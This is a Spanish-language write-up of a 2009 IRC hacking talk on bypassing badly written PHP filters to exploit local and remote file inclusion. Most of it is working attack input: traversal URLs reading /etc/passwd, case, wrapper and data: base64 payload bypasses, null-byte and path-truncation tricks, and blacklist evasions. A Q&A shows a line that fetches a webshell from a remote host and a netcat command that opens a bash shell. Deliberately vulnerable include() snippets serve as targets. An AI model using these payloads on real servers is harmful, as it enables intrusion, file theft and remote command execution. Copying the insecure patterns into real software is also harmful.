

# LFI & RFI: Bypass de filtros

Por >> s E t H <<  
seth at el-hacker dot org  
<http://xd-blog.com.ar/>

Parte de las charlas de UnderSecurity  
<http://undersecurity.net>  
irc://ircnode.com/#undersec

26/08/2009

Esto es lo que quedó de la charla en el irc de undersecurity. Espero que la próxima vez estén ahí en lugar de leer el pdf.

La idea de la charla era mostrar filtros para local file inclusion y remote file inclusion mal hechos y como saltarlos. Para los que no conocen sobre eso, php tiene una función que se llama include() que sirve para leer un archivo y pasarlo por el intérprete de php. Si un atacante puede modificar un archivo que se pasa a include(), puede ejecutar comandos

Lo mas fácil de explotar es RFI, que es ejecutando archivos remotos (php soporta http://, ftp:// y otros). Para que halla RFI, en el php.ini tiene que estar esto:

```
allow_url_include=On
allow_url_fopen=On
```

Este es el ejemplo mas simple de un código vulnerable:

```
$page = $_GET["page"];
include($page);
```

Suponiendo que el archivo esta en http://localhost/charla.php, uno entra a http://localhost/charla.php?page=http://google.com/ y el script va a "ejecutar" el index de google (como no tiene código php solo lo muestra), Podes subir una webshell (la famosa c99 u otra) a un hosting cualquiera y si la incluís así, se ejecuta en el servidor vulnerable. Obviamente no tiene que estar como .php porque se va a ejecutar en tu servidor cuando el otro hace la petición

*Pregunta: ¿si tenes la shell en .txt se ejecuta de todas maneras?*

*Respuesta: Se va a ejecutar en el servidor vulnerable. Si vos la tenes en .php se ejecuta en el tuyo y no te sirve.*

Es muy común que el programador no incluya el archivo tal cual se lo pasamos, muchas veces se agrega algo al final. Por ejemplo, todos los archivos que supuestamente deberíamos incluir terminan en .php, pero como ya explique, si ponemos el .php en nuestro servidor se va a ejecutar ahí y no en la web vulnerable y es un quilombo evitarlo (pero se puede). El código sería algo asi:

```
$page = $_GET["page"]."cualquiercosa";
include($page);
```

Para saltar esa dificultad, solo tenemos que agregar ? al final de la url:

http://localhost/charla.php?page=http://google.com/?

Entonces lo que va a hacer es

```
include("http://google.com/?cualquiercosa");
```

Como google.com (o nuestra shell en txt) no espera que le pasemos ?cualquiercosa, lo ignora, Generalmente, al testear RFI se le pone el ? al final. SI esta el "filtro" lo salteas, y si no, no molesta

Viendo esto, alguno puede pensar en bloquear todos los includes a archivos que empiezan con "http://":

```
$page = $_GET["page"];
if (substr($page,0,7)=="http://"){ //si empieza con http://
    die("Hacking attempt"); //muestra el error y se termina
}
include($page);
```

Eso es muy facil de bypassar. Primero, podemos poner hTTP, HttP, htTP o alguna variación con mayúsculas. Pasa el filtro porque hTTP:// es distinto a http:// y funciona igual:

http://localhost/charla.php?page=hTTP://xd-blog.com.ar/

Otra opción es usar protocolos que no sean http, como https, ftp u otros propios de php como data. Data se usa así:

http://localhost/charla.php?page=data:text/plain;base64,PD9QSFAGZWNobyBleGVjKCCJscyAtbGEiKTsgPz4=

text/plain es el formato que tiene el texto

base64 es para que decodifique lo otro en base64

Y despues de la coma va el código php codificado, que en este caso es

```
<?PHP echo exec("ls -la"); ?>
```

Con https:

http://localhost/charla.php?page=https://google.com/

Con https el if tambien da false y el código sigue

En la documentación tenemos protocolos aceptados: <http://us2.php.net/manual/en/wrappers.php>

*Pregunta: data:text.... funciona con el allow\_url\_fopen desactivado?*

Respuesta: *Restricted by allow\_url\_fopen No. Restricted by allow\_url\_include Yes.*

Otro código con el que nos podemos encontrar es:

```
$page = strtolower($_GET["page"]); //lo pasa a minusculas
if (substr($page,0,7)=="http://"){ //si empieza con http://
    die("Hacking attempt"); //muestra el error y se termina
}
include($page);
```

Ahí se pasa a minusculas la entrada, entonces `hTtp://` se convierte en `http://` y no pasa el filtro y el base64 de data se rompe al pasarlo a minúsculas, pero todavía nos sirven los demás como ftp y https. Por ejemplo:

`http://localhost/charla.php?page=ftp://mirrors.kernel.org/welcome.msg`

`http://localhost/charla.php?page=https://google.com/`

Si probando RFI les sale `Warning: include() [function.include]: URL file-access is disabled in the server configuration in /var/www/charla.php on line X`, significa que tenemos el problema con `allow_url_fopen` o `allow_url_include` que comenté al principio. Entonces, la vulnerabilidad se transforma en lo que se llama LFI o inclusión de archivos local y solo podemos incluir archivos en el mismo servidor. Otro caso puede ser que las directivas estén bien (o mal, según como se lo vea) y se ponga algo antes de nuestra cadena, entonces no va a empezar con `http:// ftp://` o algo de eso y va a ser tomado como un archivo local. Por ejemplo:

```
$page = "../".$_GET["page"];
include($page);
```

Ahí se van a incluir archivos en el mismo directorio del `.php`. Antes de explotar el LFI se busca mostrar el `/etc/passwd` para probar que funcione. Lo que hacemos es escalar directorios hasta llegar a `/` y después bajar hasta `/etc/passwd`:

`http://localhost/charla.php?page=../../../../../../../../etc/passwd`

Generalmente al incluir un archivo que no existe, php te da un error con la ruta en la que estas y la que se trata de incluir, entonces sabes cuantos directorios escalar. Si subis directorios de mas no importa, porque los que pasen de `/` son ignorados. `/var/www/../../../../../../../../etc/passwd` es lo mismo que `/etc/passwd`

Lo bueno de saber la ruta es cuando querés incluir archivos de otras paginas en el mismo servidor. Si vos estas en `/home/seth/public_html/` podés tratar de incluir `/home/yasion/public_html/algo-que-esta-aca` y capaz te sirve.

Igual que en el RFI, puede ser que concatene algo después de nuestra entrada:

```
$page = "../".$_GET["page"].".txt";
include($page);
```

Lo mas comun es agregar `%00` al final, ese es un caracter nulo que en la funciones que no son "binary safe" corta la cadena y todo lo que está después es ignorado. Para los que programan en C debe ser algo normal.

`http://localhost/charla.php?page=../../../../../../../../etc/passwd%00`

El `.txt` que puso el servidor es ignorado. Puede ser que se filtre ese carácter, muchas veces por la funcion `addslashes()` <http://ar2.php.net/addslashes>. Esa funcion agrega `"\"` adelante de los caracteres single quote (`'`), double quote (`"`), backslash (`\`) and NUL (the NULL byte). Nos va a dar un error asi: `Warning:`

```
include(/../../../../../../../../etc/passwd/0.txt) [function.include]: failed to open stream: No existe el
fichero o el directorio. Ahí vemos que está el \0 por addslashes(), aunque también puede ser que en el php.ini esté la
directiva magic_quotes_gpc = on (lo que hace es escapar con addslashes() todo lo que le pasemos a la aplicacion
por get, post o cookies automáticamente).
```

Si `%00` no nos sirve podemos probar con un bug de php que cuando la ruta del archivo es mas grande que ciertos caracteres (20xx en algunos casos) la corta. `/etc/passwd/./` y `/etc/passwd` en php sobre linux son lo mismo, van a abrir el mismo archivo y si seguimos agregando `./` también, entonces ponemos `./` hasta que se corte la cadena y elimine el `.txt`. En las ultimas versiones de php está corregido, pero en algunas (no se bien hasta cual) anda esto:

`http://localhost/charla.php?page=../../../../../../../../etc/passwd./[muchos]./`

Este punto está mucho mejor explicado en <http://foro.undersecurity.net/read.php?15,2657>

*Pregunta: ¿Es posible agregar un backdoor a travez de un fallo de tipo LFI?*

*Respuesta: Si logras meter algun codigo php en el servidor tenes una webshell. Podes subir algo asi, que va a descargar tu shell de otro servidor:*

```
file_put_contents("shell.php",file_get_contents("http://example.com/tushell.txt"));
```

*O también podés poner el netcat escuchando en algun puerto con una shell para el que se conecte:*

```
<? php echo exec("/bin/nc -vlp 2000 -e /bin/bash"); ?>
```

Como hablaba antes, puede ser que no quieras llegar hasta /. Suponiendo que el error es `Warning: include(noexiste) [function.include]: failed to open stream: No existe el fichero o el directorio in /opt/lampp/htdocs/charla.php on line 28` y quieres llegar hasta `/opt/lampp/htdocs/file.txt`, incluis `../htttres/file.txt`

A veces te sale `Warning: include(lenguaje_TUENTRADA) [function.include]: failed to open stream: No existe el fichero o el directorio in /opt/lampp/htdocs/charla.php on line 28`, en ese caso empiezas con / y contas lenguaje como un directorio: `http://localhost/charla.php?page=lenguaje_../TUENTRADA`, te queda `lenguaje_../../htttres/file.txt`

Si no quedó bien claro, está mejor explicado en

<http://foro.portalhacker.net/index.php/topic,81162.msg384957.html#msg384957>

Puede ser que nos prohiban incluir ciertos archivos con una lista negra, o sea, que si tratamos de incluir los archivos prohibidos no lo va a hacer:

```
$page = "../$_GET["page"];
if (strpos($page, "/etc/passwd")!==FALSE){ //si encuentra /etc/passwd
    die("Hacking attempt"); //muestra el error y se termina
}
include($page);
```

Si entras a `http://localhost/charla.php?page=../../../../../../../../../../../../etc/passwd` te sale **hacking attempt** porque está la cadena `/etc/passwd`. El bypass es simple: `/etc/./passwd /etc/pwned/./passwd /etc//passwd`, las tres funcionan porque la cadena exacta no está y es lo que busca el filtro

Si filtran todo lo que termina en `passwd` no podemos hacer lo de antes, pero podemos agregar cosas al final:

```
$page = "../$_GET["page"];
if (substr($page,-6)=="passwd"){ //si empieza con http://
    die("Hacking attempt"); //muestra el error y se termina
}
include($page);
```

Si incluimos `/etc/passwd/.` o `/etc/passwd%00` funciona porque no termina en `passwd`

*Pregunta: ¿Un load\_file de una inyección SQL vendría a ser LFI?*

*Respuesta: No, eso se llama source code disclosure. LFI es cuando se ejecuta el código del archivo. Hay un paper de SCD en [http://www.secureeyes.net/downloads/Source\\_Code\\_Disclosure\\_over\\_HTTP.pdf](http://www.secureeyes.net/downloads/Source_Code_Disclosure_over_HTTP.pdf)*

*Pregunta: ¿El lfi solo es cuando hay un include()?*

*Respuesta: LFI puede haber con include(), require(), include\_once() require\_once() y eval()*

*Pregunta: ¿Cuando una web usa urls amigables, es mas dificil de explotar?*

*Respuesta: Puede ser que la expresión regular elimine parte de nuestra entrada y no podamos explotar la vulnerabilidad.*

*Pregunta: vos explicaste las dos vulnerabilidades con PHP, ¿es posible hacerlo en paginas con ASP?*

*Respuesta: No conosco ASP, así que no se si hay funciones como include() pero se puede (aunque haya que emularla).*

*Pregunta: ¿Como puedo poner mi código en el archivo que ejecuto?*

*Respuesta: Hay varias formas, entre ellas:*

- *Enviando e-mails a usuarios del sistema*
- *Subiendo archivos a la web*
- *Buscando otras webs en el mismo servidor y subiendo archivos*
- *Usando los logs de apache*
- *Usando sesiones*